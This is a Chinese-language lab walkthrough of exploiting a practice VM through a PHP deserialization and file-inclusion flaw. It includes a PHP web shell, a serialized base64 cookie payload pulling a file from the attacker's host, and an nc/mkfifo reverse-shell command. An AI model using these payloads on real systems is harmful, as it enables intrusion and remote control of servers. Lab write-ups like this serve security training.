1.安装靶机
2.扫描靶机ip,端口,访问
3.扫描目录,发现有 backup 目录,访问发现是压缩包,下载,解压,查看
通过审计源代码了解到: 首次访问该网站后,会通过 user.class.php 中的创建一个user对象, 内容为wel变量创建welcome对象,同时进行序列化base64编码存入cookie,在此过程中调用了 handler() 函数; 同时, log.class.php 中的 Log 类中也有 handler() 函数,并且还存在 include 文件包含漏洞,所以我们可以尝试将 Welcome 替换为 Log 类
4.构造下方代码 1.php ,保存到自己的网站下运行,实现将 welcome 替换为 Log ,同时使用文件包含漏洞上传木马文件,最后将代码序列化并 base64 编码
<?php
@system($_GET['OMO']);
?>
<?php
class Log {
private $type_log = "http://本机ip/cc.txt";
}
class User {
private $name = "admin";
private $wel;
function __construct() {
$this->wel = new Log();
}
}
$obj = new User();
echo base64_encode(serialize($obj));
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6MTM6IgBMb2cAdHlwZV9sb2ciO3M6Mjc6Imh0dHA6Ly8xOTIuMTY4LjMuMjU0L2NjLnR4dCI7fX0=
5.在 kali 开启监听, 抓包,发送重放器,修改 cookie ,并在 GET 处添加参数以及 shell 反弹语句rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+kali ip+7777+>/tmp/f
6.发送后,获取靶机 shell ,查看文件获取虚拟机密码
7.登录虚拟机